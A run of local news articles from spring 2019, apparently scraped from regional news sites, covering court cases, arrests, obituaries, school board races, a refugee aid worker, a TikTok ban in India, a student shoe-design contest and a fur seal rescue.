"Deja Vu." The system put in place but the United Nations to help the refugees where Giannone was working in Macedonia, Serbia and Croatia was so mismanaged that it actually put refugees at risk for human trafficking, Giannone said. Its like we hadnt learned anything in 20 years on how to handle refugees, he said. At the start of his career, Giannone served two tours in Vietnam as a public health advisor with the 29th Civil Affairs Company. It was an experience in which he found his calling. Vietnam was bad enough, but Vietnam focused me on what I called the vulnerable. I was going to spend my life working to help people like that devastated by disasters, Giannone said. Throughout his long career, Giannone witnessed what he called many consistent failures of the American governments foreign policy, how it hinders those attempting to do good, and how many of those same individuals fail to help the vulnerable due to their own egos. For instance, after the Vietnam War ended, Giannone became involved in the boat people crisis, in which refugees from Vietnam fled by boat to other nations in Southeast Asia before being resettled. Because the war itself had ended, public attention had almost completely collapsed, Giannone said, leaving Americas resettlement program nearly free of scrutiny. Without that, it was free to offer little effective help to refugees. Giannone believes it was hypocritical that the government stopping food shipments to Vietnam despite having bombed the country including with the infamous defoliant Agent Orange so much as to cause multiple crop failures. The media was also a part of the problem, Giannone said, as reporters were more than happy to sell papers with sensational stories of boat people drowning, while ignoring Giannones attempts to alert the public to other issues like former North Vietnamese soldiers exploiting the resettlement system. Its a situation Giannone said is directly comparable to today, with the influx of migrants from Central America attempting to reach the U.S. According to Giannone, many of those migrants are genuine refugees under international law, as theyre fleeing the violent drug cartels that dominate some Central American countries. But rather than attempt to help those countries so their citizens wouldnt want to flee, its the American appetite for recreational drugs that fuels those same cartels, Giannone said. Despite all the darkness, Giannone said seeing the selflessness of volunteers who come to the aid of refugees and the perseverance of the refugees themselves has been the lighthouse that keeps me motivated. Thats an incredible, motivating, bright thing, Giannone said, Ive seen the worst in human beings for sure, but they are far outweighed by the good. Giannone said he hopes the book will serve as a wake-up call for Americans to stop passively and pessimistically dodge real issues for the sake of political expediency, and truly engage with issues. Somehow, youve got to get involved with your government, Giannone said. Staff writer Ryan Franklin can be reached at (315) 282-2252 or ryan.franklin@lee.net. Follow him on Twitter @RyanNYFranklin. Love 3 Funny 0 Wow 0 Sad 0 Angry 0 When thinking about animal conservation, many people might think of zoo exhibits, peaceful nature preserves or relaxing animal documentaries. For Brian Race, conservation meant sailing the world's oceans directly confronting criminal poachers. Race, 32, an Auburn native, died earlier this month after a life dedicated to protecting the environment, much of it spent working with international marine conservation group Sea Shepherd Global. Working in conjunction with national authorities and international law enforcement agencies, Sea Shepherd uses direct action to protect ocean wildlife against poachers and other criminals, according to the organization's official website. The organization cites the saving of over 6,000 whales from harpoon ships in the arctic, seizing miles of illegal fishing gear and safely and legally hounding notorious poaching vessels into giving up. Beginning as a volunteer and rising to Chief Technical Officer in charge of the group's global fleet, Race, noted for his passion for the ocean and caring nature, was "an example of selfless commitment to the cause of ocean conservation..." according to Sea Shepherd CEO Cpt. Alex Cornelissen. "Brian was a force multiplier, making our campaigns more successful," Cornelissen said in a post shared on the group's website. "Most of all, Brian was our friend. We were so lucky to have him in our lives; and we miss him every day." The post was shared on Sea Shepherd's official Facebook page, where the memorial garnered thousands of likes and hundreds of comments, including from former crew members who worked with Brian from places as far apart as Australia and Norway. "Those of us who got to know him and sail with him were extremely lucky. Brian was a through and through great person," a comment from Rolf Larsen on the post reads. According to an obituary for Race published in The Citizen, despite his work on the ocean, his true love was on land. With his fiancee, Meg Gallagher, of Melbourne, Australia, Race was devoted to raising their rescued "fur children," Mahoney, Rogue and Bean. Francine Race, Brian's mother, described her son as having a huge heart, who was always taking in rescue animals, and as someone who never gave up. In an incident that received national attention, including from the Thomson Reuters news service, Race was struck in the eye with a bamboo pole after the vessel he was serving on came into conflict with Japanese whalers, his mother said. "He just kept right on going," Francine said. In keeping with Brian's dedication to animal rights and environmentalism, funeral services will observe the same vegan, non-alcoholic values he lived by. And, instead of flowers, the family is asking for donations be made to the Wildlife Defense League or the Woodstock Farm Sanctuary. "He was a wonderful person, he really, truly was," Francine said. Staff writer Ryan Franklin can be reached at (315) 282-2252 or ryan.franklin@lee.net. Follow him on Twitter @RyanNYFranklin Love 2 Funny 0 Wow 1 Sad 30 Angry 6 The New York State Equal Rights Heritage Center in Auburn is the subject of an April piece in Metropolis, a New York City-based architecture and design magazine. The piece focuses on the center's design by nARCHITECTS, of Brooklyn. Eric Bunge, one of the principals at the firm, shared with Metropolis how that design evolved from a regional visitor center to an exhibition of the history of equal rights in the state. "The primary goal of the center is (to be) a gateway to actual attractions in New York state that can be visited," Bunge told writer Laura Raskin. "It needed to tell a story that would get people out to visit these places." The piece also describes the center's design in depth. The pink brick nods to "the material of choice in downtown Auburn," Raskin wrote. Other topics of the piece include the reconfiguring of Lincoln and South street traffic around the center, as well as its heated floors and custom furniture like the Finger Lakes-shaped benches. "The Heritage Center is a series of four one-story volumes that connect to create intimate courtyards," she wrote. "The varied heights of the volumes and differing roof pitches give the illusion of height and soften the difference between the scale of the one-story building and the surrounding urban fabric, which also includes an incredible library of historic, Federal-style houses as well as other two- and three-story buildings." The $10 million, 7,500-square-foot center opened in November, one of 10 state-funded welcome centers designed to promote tourism in New York. Love 4 Funny 1 Wow 0 Sad 0 Angry 4 Few of the Cayuga County-area school district board of education elections will have contested races this year. In contrast, over half of the board races last year were contested last year. The deadline this year for most school board positions was April 22. Candidate voting for each district, plus budget propositions and any other propositions districts might have, will be held May 21. The Cato-Meridian Central School District Board of Education has three three-year spots up for grabs. Board vice president Kathleen Bratt is seeking re-election and Timothy Hulbert, Kristin Cox and Nicholas Schmitt are also in the race. Members Monica Waite who joined the board in 2017 following L. Lee Epprecht's resignation and Todd Kacur are not seeking re-election. The Jordan-Elbridge Central School District board has three three-year terms available. Board vice president Karen Guerrette is running again, and Jodelle May and William Childres will also be on the ballot. Members Michael Jorolemon and Pat Starratt-Baum are not seeking re-election. The Moravia Central School District board features three open three-year positions and one one-year position. Member Jim Struble resigned last year and former member Terry Thompson was selected to fill that spot until this year. Board vice president Shawn Becker, and incumbents Thompson, Jeffrey Carmichael and Karin Dillon are all running. The Port Byron Central School District has two three-year board seats open. Todd Delaney and incumbent Christopher Recckio are pursuing spots, while Roger Sevilla isn't seeking re-election. The Skaneateles Central School District has two three-year board spots. Incumbent Thomas Lambdin is running, as is Danielle Fleckenstein. Margaret Usdansky Niebuhr is not running for re-election. The Southern Central School District board has three open three-year positions. Board vice president Susan Gloss and Matthew Bennett, both incumbents, are running, as is Bruce Kopp, who had served on the board before but lost his spot last year. Current member Ann LaFave is not seeking re-election. The Union Springs Central School District has three open three-year board seats. Board president Barry Schwarting and incumbents Robin McKay and David (Randy) Morehouse are all running. The Weedsport Central School District Board of Education has two seats open, one with a five-year term and another with a two-year term, after member Ron Springer resigned in February. Wendy Bannister, Chad Mitchell and Linda Simmons are all angling for spots. Board president Matthew Stark is not running for re-election. The deadline for petitions to run for the Auburn Enlarged City School District Board of Education is May 1. Staff writer Kelly Rocheleau can be reached at (315) 282-2243 or kelly.rocheleau@lee.net. Follow him on Twitter @KellyRocheleau. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A man was charged with five felonies for selling cocaine to an undercover agent on two occasions, according to the Auburn Police Department. Tyler J. Kopack, 22, of 110 Mosher St. in the Village of East Syracuse, was arrested Thursday evening as a result of a Finger Lakes Drug Task Force investigation from last April, the APD said Friday. Police said Kopack sold less than .5 ounces of cocaine to an undercover agent on two occasions. He was arrested on an indictment warrant at his home about 6:45 p.m. Thursday. Kopack was charged with four class B felonies of two counts of third-degree criminal sale of a controlled substance and two counts of third-degree criminal possession of a controlled substance. He was also charged with fourth-degree conspiracy, a class E felony, due to communication to set up the sale, police said. As of Friday afternoon, Kopack was still at the Cayuga County Jail, held on $5,000 cash, $10,000 bond bail. Love 2 Funny 16 Wow 3 Sad 2 Angry 4 AUBURN An Oswego County man on Thursday was sentenced for stalking a Cayuga County woman. Ryan Fox, 21, allegedly hacked into into a young woman's Snapchat account and then posted private photos of her, Chief Assistant District Attorney Chris Valdina said in Cayuga County Court Feb. 28. Valdina said Fox was trying to blackmail the woman into a relationship. Fox allegedly told the woman he would post photos unless she went out with him. When she didn't go out with him, he posted the photos, Valdina said. Syracuse man faces computer stalking charge in Cayuga County AUBURN A Syracuse man facing charges for allegedly posting private photos of a woman on so In court Thursday, Fox pleaded guilty to third-degree stalking, a class A misdemeanor. His plea satisfied a charge of computer trespassing, a class E felony, and second-degree coercion. Judge Thomas Leone said from February to May 2018, Fox intentionally engaged in conduct against the victim in Cayuga County to make her fear physical injury. He said the victim and family were agreeable to the misdemeanor plea deal. "She was in fear of (Fox) stalking her, kidnapping her," Cayuga County District Attorney Jon Budelmann said. Following his plea, Fox who has no criminal history was sentenced to three years of probation and an order of protection was put in place for the victim. Also in court A former Auburn inmate pleaded guilty on Thursday to stabbing a fellow inmate last summer. In July, Erick Lewis, 31, assaulted a fellow Auburn Correctional Facility inmate by stabbing him with a hard plastic shank and slashing him with a disposable razor blade. Lewis, who is currently incarcerated at Marcy Correctional Facility with an earliest release date in 2053 according to the state Department of Corrections and Community Supervision, pleaded guilty to second-degree assault, a class D felony, to satisfy five felonies he faced. He admitted to stabbing the victim with an intent to cause injury. His original charges included another second-degree assault charge, a first-degree attempted assault charge, a class C felony, and two counts of first-degree possession of dangerous contraband in prison, class D felonies. In exchange for his plea, Lewis will likely be sentenced to five years in prison and five years post-release supervision the minimum sentence allowed. He is due back for sentencing July 8. Heather Hutton, 45, pleaded guilty to her involvement in a November meth bust in Auburn that found numerous people engaged in making methamphetamine. Hutton, of 8 Throop Ave., Auburn, pleaded guilty to fifth-degree criminal possession of a controlled substance, a class D felony reduced from a second-degree, class A felony charge to satisfy her indictment which included three other felonies and five misdemeanors. Hutton said she was at the 54 Orchard St. home at the time of the raid and admitted that she and others were knowingly and unlawfully in possession of about 4 ounces of meth oil. She said she didn't use or sell the drugs but was guilty of helping get the Sudafed to manufacture the meth. "I was manipulated by me ex-husband, and I regret that," Hutton said. In exchange for her plea, Hutton will likely be sentenced to five years of probation. She is due back for sentencing June 27. An Auburn man was sentenced for scrapping a truck he didn't own and lying to a grand jury. Clinton Allwood, 30, of 46 Orchard St., Apt 1, pleaded guilty to first-degree perjury, a class D felony, and fourth-degree grand larceny, a class E felony, in February. "This defendant took someone else's car, falsified paperwork ... scrapped it, claimed it as his own," Budelmann said. He added that he lied to the grand jury about having a duplicate title. At the time of his plea, Allwood said he received about $300 for scrapping the 1994 Ford pickup truck. His defense attorney, Charles Thomas, said Thursday the truck was abandoned at the Auburn Plaza. Although Budelmann requested a prison sentence, Leone sentenced Allwood to five years of probation for each of his charges and Allwood will have to pay about $1,000 in restitution. An Auburn man was sentenced for crashing a stolen car. In July 2016, in the town of Conquest, Marques Milligan, 35, of 47 Hamilton Ave., recklessly drove a stolen vehicle and crashed into a trailer and garage, Leone said. Milligan pleaded guilty to fourth-degree criminal mischief, a class A misdemeanor, to satisfy his indictment which included two counts of third-degree grand larceny, class D felonies, and one count fourth-degree grand larceny, a class E felony. It was alleged in court in February that Milligan stole vehicles, motorcycles and campers. Assistant District Attorney Joshua Bennett said a misdemeanor plea was agreeable after considering all the equities including Milligan's status as a veteran, his remorse, and his and his family's willingness to pay $20,000 in restitution up front. "I have some recovery to do, things to work on," Milligan said. "I think I'm on a good track." Following his plea, Milligan was sentenced to one year conditional discharge. In addition to the $20,000 he also has six months to pay about $700 in restitution. An Auburn man pleaded guilty to selling cocaine. Kenneth Swann, 54, of 55 Walnut St., pleaded guilty to one count of third-degree criminal sale of a controlled substance, a class B felony. His plea satisfied a total of nine class B felonies, including three counts of third-degree criminal sale of controlled substance and six counts of criminal possession of controlled substance; fourth-degree conspiracy, a class E felony; and two counts of second-degree criminal use of drug paraphernalia, class A misdemeanors. In exchange for his guilty plea to selling crack cocaine, Swann will likely be sentenced to three years in prison and two years of post-release supervision. He is due back for sentencing July 11. Staff writer Megan Ehrhart can be reached at (315) 282-2244 or megan.ehrhart@lee.net. Follow her on Twitter @MeganEhrhart. Love 0 Funny 1 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. From December 19th through December 26th we will be granting free access as a gift to our readers presented by Cayuga Community College City Gregory W. Davis, 32, 8289 W. Loop Road, Port Byron, was picked up on a warrant April 23 and charged with third-degree assault. Dannielle E. Hamilton, 31, 51 Chapman Ave., Auburn, was picked up on a bench warrant and was also charged with two counts of petit larceny on an arrest warrant April 23. Harold J. Wallace Jr., 31, 15 Center St., Geneva, was picked up on a bench warrant April 23. Ashley D Montgomery, 32, 141 Vananden St., Auburn, was picked up on a warrant April 24 and charged with endangering the welfare of a child. Kami F. Hawks, 37, 146 Genesee St., Auburn, was charged April 24 with second-degree driving while ability impaired by drugs and first-degree unlicensed operation of a motor vehicle. Gary A. Guy Jr., 43, 24 Nelson St., Apt. 1, was charged April 24 with third-degree assault. Aubrey N. Campbell, 26, 94 Chapman Ave., Auburn, was charged April 25 with unlicensed operation of a motor vehicle. Suzanne R. Bunce, 25, 205 Jackson Hollow Road, Newfield, was picked up on a bench warrant April 25. Robert E. Symons, 43, 217 Genesee St., Auburn, and picked up on a warrant April 25 and charged with second-degree obstructing governmental administration, third-degree menacing and resisting arrest. Shaun M. Fyffe, 35, 305 Kinne St., Syracuse, was charged April 25 with second-degree criminal contempt. William E. Savage III, 31, 37 Olympia Ave., Apt. B34, Auburn, was charged with first-degree criminal contempt. Tyler J. Kopack, 22, 110 Mosher St., East Syracuse, was picked up on a indictment warrant April 25 and charged with fourth-degree conspiracy, two counts of criminal sale of a controlled substance and two counts of criminal possession of a controlled substance. State Fuquan Fields, Auburn, 40, was charged April 23 with five counts of aggravated harassment of an employee by an inmate. Jordan T. Jefferds, 24, Port Byron, was charged April 23 with fourth-degree criminal mischief and second-degree criminal contempt. Austin A. Novak, 24, Marcellus, was charged April 23 with unauthorized use of a vehicle. William P. Woodman, 48, Union Springs, was charged April 24 with fourth-degree criminal mischief. Joshua M. Wright, 35, Auburn, was charged April 24 with driving while intoxicated and operating a motor vehicle with a blood alcohol content level greater than .08%. Love 1 Funny 11 Wow 3 Sad 1 Angry 3 NEW YORK A U.S. Marine killed in a roadside bombing in Afghanistan was honored by mourners from across the country at his funeral Friday in New York City, where he also was a decorated firefighter. The flag-draped casket of Staff Sgt. Christopher Slutman was carried atop a fire engine from a Bronx funeral home to Manhattan's majestic Saint Thomas Church. Thousands of Marines, firefighters and other responders in their dress uniforms lined both sides of Fifth Avenue for nearly a mile, saluting amid a slow drumbeat and the bagpipe strains of "Amazing Grace." "Today our city mourns a hero," Mayor Bill de Blasio said at the Episcopal service, adding that Slutman represented "the best in us." The 43-year-old father of three young daughters died April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. A 15-year member of the Fire Department of New York, Slutman was with Ladder 27 in the Bronx. In 2014, he received a medal for bravery after rescuing an unconscious woman from a burning apartment in the South Bronx. "Chris and his inside team forced open the door to the burning apartment and were met with high heat and thick black smoke that went from the floor to the ceiling," said Chris Williamson, who was Slutman's FDNY captain for four years. "Chris crawled on his belly through the smoke to a rear bedroom and found an unconscious woman; he did this without the protection of a fire hose." He then dragged the woman to safety. Marine Sgt. Major Chris Armstrong described Slutman as "a leader who was respected and admired." "When I received the terrible news, my heart broke as I thought of Chris's family and unit," Armstrong said, fighting back tears. In speaking of Slutman, Wiliamson described him as "squared away." "One phrase that seems to keep coming up when describing Chris is the term 'squared away' used by all branches of the military to describe one whose performance is even with or above satisfactory levels. I think everyone in this church that knew Chris would wholeheartedly agree that he was way above satisfactory levels." A native of Newark, Delaware, Slutman had served as a volunteer firefighter in Maryland. He is to be buried on Tuesday at Arlington National Cemetery in Virginia. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 RTHK: Chilling effect: Mexico touts cold beer sales ban Time to crack open a cold one? Not so fast a local Mexican lawmaker proposed a measure Thursday limiting the sale of cold beer to curb alcohol consumption, unbottling a wave of mainly mocking reactions online. "If the beer isn't refrigerated, you will be forced to bring it home, put it in the fridge and drink it at home," explained Maria de Lourdes Paz, a member of Mexican president Andres Manuel Lopez Obrador's left-leaning Morena party. The bill cited a study on addiction in Mexico that showed Mexico City, where Paz is a member of the local congress, has "the highest rate of youth alcohol consumption". Most young drinkers buy alcohol while out with friends, going to one of the many small shops in the mega-city that sell refrigerated drinks. The bill proposes requiring such businesses to keep beverages with alcohol content higher than seven percent at "room temperature," by storing them outside the refrigerator. The prospect of drinking a warm beer, while the Mexican capital suffers a heat wave, sent residents bubbling over with frustration. Some Twitter users proposed requiring tacos to be sold frozen to fight obesity, one of the main public health problems in Mexico. "This decision has me hot under the collar," joked one internet user. "How can you want to want to ban cold beer but allow marijuana?" demanded another on social media. As the reactions came to a head, Morena lawmakers promised to "revise" the bill without modifying "the objective." (AFP) This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. He was born in Weedsport, the son of the late Frederick and Genevieve Sturge Sherboneau and had been an area life resident. Joe was a World War II Army Staff Sergeant veteran, having served our country honorably. He retired in 1987, after more than 30 years of service for New Process Gear in Syracuse. Joe was an avid pipe and cigar connoisseur. He also enjoyed the outdoors and was especially fond of many different types of birds. He cherished the times spent with his family and will be sadly missed by all of them. After costing the popular video sharing app at least 2 million users, according to a Business Insider report, a court in India has lifted the ban it imposed on the app TikTok earlier in April. But the makers of the app told the court that they will employ new techniques to prevent adult content from being uploaded to the app. The Madras High Court ordered the Indian government to ban TikTok on the grounds that the app, with its reported one billion users, was encouraging porn, as AVN.com reported. The largest segment of TikTok users an estimated 250 millionare based in India, the worlds second-most populous country. As a result, though the ban lasted only a few weeks, it took a toll on TikTok, according to the Business Insider report. The Chinese app maker ByteDance, the company behind TikTok, reportedly lost $500,000 for each day the app was banned from being downloaded in India, and 2,590 people employed by the company would have likely lost their jobs had the ban continued. But the court not only required the app maker to take new steps to prevent porn videos from appearing on TikTok, but also required that any complaints about banned content must be addressed within 36 hours, or the company would face contempt of court charges, according to a report by The Next Web. In a statement, the makers of TikTok said that they were committed to continuously enhancing our safety features as a testament to our ongoing commitment to our users in India. Though the Madras court issued its order to ban TikTok on April 3, it was only one week ago that the government forced the Apple and Google app stores to delete the app, according to CNN. As of Thursday, however, the day after the ban was lifted, the app remained unavailable from Google and Apple, according to India TV News. Photo By Toutiao/Wikimedia Commons Public Domain Flagstaff High School is making headlines this week as two students, Alyssa Williams and Nicole Dougherty, were named finalists in the nationwide Vans Custom Culture contest. Each year, Vans invites schools across the country to design pairs of shoes for a chance to win $75,000 for their art programs. The competition was created to inspire and empower high school students to embrace their creativity through art and design and to bring attention to diminishing arts education budgets, according to the apparel company's website. Vans believes everyone should be empowered to express themselves creatively and should be given the tools to do so. The final 50 schools were narrowed down from the 500 that received plain white shoes to design. FHS is the only Arizona finalist in the running for the $75,000 grand prize. Second through fifth-place winners will receive $10,000. Voting ends Friday, May 3, at 5 p.m. PST/6 p.m. MST. Votes can be cast once a day at https://customculture.vans.com/. Williams and Dougherty designed their shoes to be representative of their own personalities as well as fitting within the themes of Local Flavor and Off the Wall. Williams incorporated her Navajo heritage with the native-inspired pattern behind embroidered succulents. She created an outline of Monument Valley on the midsoles to represent her Local Flavor design. The Arizona desert is represented by the succulents, and Flagstaff by the aspen trees drawn inside the shoes. A watercolor sunset celebrates the states signature beauty. Williams says embroidering the succulents took up two of the three weeks the students were given to complete their designs. Not only this the most time-consuming part, it was also the most difficult, especially since she taught herself the medium specifically for this contest. I watched one YouTube video and that was it, she says. And she nailed it, graphic design teacher Kayley Quick says. I would call myself kind of a perfectionist because I just love everything looking neat and sharp, Williams says. For Dougherty, who worked within the Off the Wall theme, her colorful shoes reflect her love of pop culture and gaming as a self-professed DnD nerd. 20-sided dice are placed among vibrant original characters designed by Dougherty, and the shoes are laced up with neon pink laces that light up. The whole masterpiece is mounted to quad roller skate plates. I put what was in my head on a shoe and thats what happened, she says. I could not have envisioned something better with the Local Flavor that Alyssa did and the Off the Wall that Nicole did, especially the Off the Wall, Quick says. Everything is just crazy and interesting and vibrant and unique, and I think thats what made both of these shoes stand out in the top 50 and progress to the next round. Each of the 50 schools submitted an impact document outlining what it plans to do with the winnings if they place in the top five. We discussed using a lot of the money for school betterment, to create a more welcoming and warm feel for Flagstaff High School, Quick says. It feels institutionalized and it doesnt really match students current tastes and trends. So just using a lot of it to bring mural artists to create something thats going to really represent who they are. Bring some flavor, Dougherty adds. They also plan to use some of the money to upgrade portions of the graphic design lab and screen printing lab to bring them up to industry standards in the hope that when these kids and these girls graduate and work in the graphic design field someday, they will be equipped with modern technology that industry is using instead of lagging behind, Quick says. While Williams and Dougherty were working on their shoe designs, they still had to attend their regular classes, work on homework and participate in extracurricular programs, leading to many late nights just to be able to fit in all of their responsibilities. Williams is also an athlete with Flag Highs varsity softball team the club volleyball team. People know me by playing sports, but I also want them to know about my artwork, and I feel like I just need to get myself more out there and this did that, Williams says. Yeah, this project has given us the opportunity to just put ourselves out there, give us a platform to say, Hey, this is what I do, Dougherty adds. I can do this; Im not limited to school. The two say they have seen their fellow students and the community members rallying behind them and rooting for them to win. They've also been asked by other students about the possibility of buying a custom pair from them. On a Tuesday afternoon while sitting outside Quick's classroom, a student walking past, stopped to congratulate them on making it to the top 50 and asked if they will be selling the shoes. These specific shoes will end up in their art portfolios, though, a testament to what hard work can achieve. A lot of students have come to me asking if Im selling the shoes or if Im going to make more, like, Ill pay you if you make some for me, how much will you charge to do something like that for me? Williams says. And Im like, A lot. If you wanna wait a whole month, then, yeah, I can give it to you. The amount of gratitude I have to these girls for their dedication to completing this project all the way through, this was not an easy task, Quick says. A lot of late nights, a lot of extra hours, a lot of shoulder and hand cramps. And, to me, thats a level of dedication that I dont often get to see as an educator and it really just warms my heart that they would be willing to work so hard to get this goal. Love 4 Funny 0 Wow 1 Sad 0 Angry 0 Michael Chaves brings a new horror movie into the universe of The Conjuring with The Curse of La Llorona, a story of a ghostly woman who can be found by the edge of the river, weeping for her lost children. In the Southwest, adventurous young boys and girls are kept from local waterways because they understand that La Llorona will take any unlucky child she can find to replace her own and drown them in the river. Familiarity with the legend may lend this movie some extra punch in its ability to frighten local audiences, but even those raised on the story may find the movie somewhat less than terrifying. However, the cast is good, making the movie watchable, even if it isnt as scary as one might have hoped. Linda Cardellini (Scooby Doo) does well as Anna Tate-Garcia, a widowed social worker with two children, and Raymond Cruz (Breaking Bad) is excellent as Rafael Olvera, a defrocked priest who has turned to traditional magic to help his community fight evil. Roman Christou and Jaynee-Lynne Kinchen do an admirable job as Chris and Samantha, Annas two children who have attracted the notice of La Llorona. The Curse of La Llorona is set in 1970s Los Angeles, a dry location for a story that revolves around children being drowned in a river. Fortunately for the story, La Llorona appears to be comfortable using swimming pools and bathtubs as well as the traditional rivers and streams. The story of La Llorona is as frightening as ever, the ghost is suitably scary, yet there is not a lot of horror in this horror movie. Some scary movies make up for such a lack with plentiful jump scares, and while there are a few scares, there are not enough here to keep the tension. Occasional humor provides some of the highlights of the movie. Cruzs lackluster taa-daa after completing magic spells to protect the children provides a light moment in one of the more tension-filled segments of the movie. As a part of the world of The Conjuring, it is possible that this may not be the last we see of the weeping woman. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 Al Monitor, by (Excerptread on Small business lending on the rise for Egyptian women) CAIRO Small businesses continue to serve as a gateway into a better economic life for many Egyptian women, especially in the countrys rural areas and Upper Egypt. Nevein Gamea, the executive director of the state-owned Micro, Small and Medium Enterprise Development Agency (MSMEDA), said in an April 14 statement that rural women control 51% of the total MSMEDA-funded projects. At a press conference on the sidelines of the 2019 Arab Forum for Sustainable Development held in Beirut April 10, Egyptian Minister of Planning, Follow-up and Administrative Reform Hala al-Saeed announced that small and medium enterprise (SME) lending for Egyptian women either through MSMEDA or banks had increased and reached in 2018 46% of the total funds and loans of the banks and MSMEDA. However, there are no statistics on previous years. At an international conference held on March 19 on the occasion of International Womens Day at the Bibliotheca Alexandrina in Alexandria, Nahla Zeitoun, senior social protection specialist at the World Bank, announced the findings of a joint study carried out by the World Bank, Egypts National Council for Women (NCW) as well as several local human rights organizations and experts on womens economic empowerment. The study showed that in 2018, SME lending for women in Egypt increased to 69% of total general loans from banks, while microcredit for women stood at 51%. Despite the disparity in the SME lending figures of the study and of the Egyptian minister of planning, these numbers reflect a clear fact that Egyptian women have become a major driver for small and medium-sized projects in the country. The pertinent question, however, is how did women reach this status and to what extent can they contribute to developing the Egyptian economy through such projects? Gamea told Al-Monitor she believes that this boost in SME lending for women is due to the Egyptian states interest in promoting womens rights as part of President Abdel Fattah al-Sisis strategy to empower women, which he launched alongside the NCW in 2016. She added that Sisi also declared 2017 the Year of Women on March 8, which marked International Womens Day, prompting many Egyptian banks to increase lending to female-run SMEs. Magued Osman, director of the Egyptian Center for Public Opinion Research (Baseera) and co-author of the World Bank study on womens economic empowerment, told Al-Monitor that Sisis strategy for empowering women served as an incentive for women to be strongly present at the SME level. However, he explained that according to other studies on the economic empowerment of women such as the one launched by Egyptian Minister of Investment and International Cooperation Sahar Nasr in March there are many other factors for womens economic growth, namely their enthusiasm and drive after long years of marginalization and neglect. One can say that women are now very eager to prove themselves and to show their potential in all areas, including the economic sphere, Osman said. The NCW, in cooperation with the Sawiris Foundation for Social Development, an Egyptian charity, issues twice a year a publication titled Womens Catalogue, featuring success stories of female entrepreneurs who have proved to be pioneers in SME projects, especially in handicrafts. Fatima Idris Mohammed, from Aswan governorate in Upper Egypt, is the owner of Al-Arjoun Handicrafts Workshop and Training Center. She told Al-Monitor, I believe the obstacles facing women in Egypt particularly in the rural areas are at the very same time the driving force and impetus behind their success. The greater the challenge, the greater the success. She said, Because of customs, traditions and also the financial hardships in Upper Egypt, I had to drop out of middle school. But I made sure not to make the same mistake with my daughters, as my husband and I were adamant to send our daughters to school until they complete their studies no matter how difficult our financial situation. I also decided to invest in my skills in manufacturing palm extract, which is at the base of many handicrafts, and set up a small workshop. Mohammed added, What started out as a small workshop grew into a business with 30 female workers. I strongly believe in my role to help other women in Upper Egypt to overcome obstacles and complete their studies. In addition to the workshop, I also established a small vocational school to train young women on art skills such as designing and drawing that are necessary for them to get admitted into universities and faculties of art or education." Magda Abdel Rahim of Sohag in Upper Egypt organizes a workshop called Shegl Gadati ("Handmade by Grandmother"), which is dedicated to reviving an almost lost Egyptian craft the Talli embroidery, which is based on weaving gold and silver threads. Read more: https://www.al-monitor.com/pulse/originals/2019/04/egypt-smes-banks-loans-women-rural-economy.html#ixzz5mD5URieE Oregon Coast Crews Rescue Endangered Seal from Washington Beach Published 04/25/2019 at 7:53 PM PDT By Oregon Coast Beach Connection staff (Seaside, Oregon) An uncommon sight on the Oregon and Washington coast or at least it's supposed to be showed up this week on a northwest beach and had to be rescued. Crews from the Seaside Aquarium had to venture up to Oysterville, Washington to help out a stranded Guadalupe fur seal which needed some medical care. (All photos courtesy Tiffany Boothe, Seaside Aquarium). Guadalupe fur seals are not common up around the Oregon coast and in fact normally live in warmer waters south of here. Yet for some reason Seaside Aquarium has seen about ten of them in the last year, according to manager Keith Chandler. Education specialist Tiffany Boothe said this one was quite young and in a bit of bad shape. The pup was only about 7-10 pounds, cold, dehydrated, and out of its range, Boothe said. The male pup was easily captured and is being transferred to the Marine Mammal Center in Sausalito, California, for rehab and eventual release. Boothe said Guadalupe fur seals are considered threatened although not technically endangered. There is an estimated population of only 34,000 of these fur seals, and at one time they were quite endangered but managed to bounce back to some degree. In fact, their numbers got so low that they were thought to have become extinct twice: once in 1928 and again in 1954, Boothe said. It seems the Guadalupe fur seals are traveling northward as they follow warm water currents far offshore, something that puts them in danger as these currents run out around the Oregon border and the water turns cold again. Their typical range is from Guatemala to California. They breed exclusively on Guadalupe and the surrounding islands, Boothe said. Unlike the pinnipeds (seals and sea lions) that inhabit the coastlines of Oregon and Washington, fur seals do not have a thick layer of blubber to keep them warm. They are equipped with a thick layer of fine fur which prevents heat loss, and by trapping air gives them buoyancy. Chandler said the Guadalupe fur seals showing up here in recent months have been both dead and alive. Back in January, the same kind of fur seal became famous on the internet with a video of Washington cops trying to free it from a rope it was entangled in. It managed to slip away, and the little creature caused a stir as authorities were looking for it to not only check on its condition but take it back down to California for rehabilitation and release. Seaside Aquarium crews eventually did help rescue that one as well, and the whole tale had a happy ending. This animal was also transferred to the Marine Mammal Center in Sausalito and has already been released, Boothe said. A satellite tag was placed on the animal before releasing it and as of March 27, 2019 the animal was back on Guadalupe Island where it belongs. The Seaside Aquarium has been part of the Southern Washington/Northern Oregon Marine Mammal Stranding Network since 1995. Oregon Coast Lodgings in these areas - Where to eat - Maps - Virtual Tours More About Oregon Coast hotels, lodging..... More About Oregon Coast Restaurants, Dining..... Coastal Spotlight LATEST Related Oregon Coast Articles Back to Oregon Coast Contact Advertise on BeachConnection.net All Content, unless otherwise attributed, copyright BeachConnection.net Unauthorized use or publication is not permitted Advocates at a human trafficking awareness event Thursday said understanding of the problem is growing in Billings. For example, at a family violence conference in 2015, trafficking survivor Savannah Sanders asked attendees where they'd refer a 13-year-old trafficking victim for services and overnight shelter. "No one in the room had an answer," said City Councilwoman Penny Ronning. The moment helped spur Ronning and co-founder Stephanie Baucus to organize the Yellowstone County Area Human Trafficking Task Force, which hosted the Red Sand Project event Thursday at Montana State University Billings. Zonta Club of Billings also helped put on the event. Since the 2015 conference, awareness has spread about the problem and about local resources, such as Tumbleweed, a homeless and runaway youth services organization, Ronning said. Speakers at the event included Sen. Steve Daines, R-Mont.; FBI Special Agent Brandon Walter; Sanders, the trafficking survivor; and Reno Charette, director at the MSUB Native American Achievement Center. Attendees then spread red sand along sidewalk cracks in honor of trafficking victims. 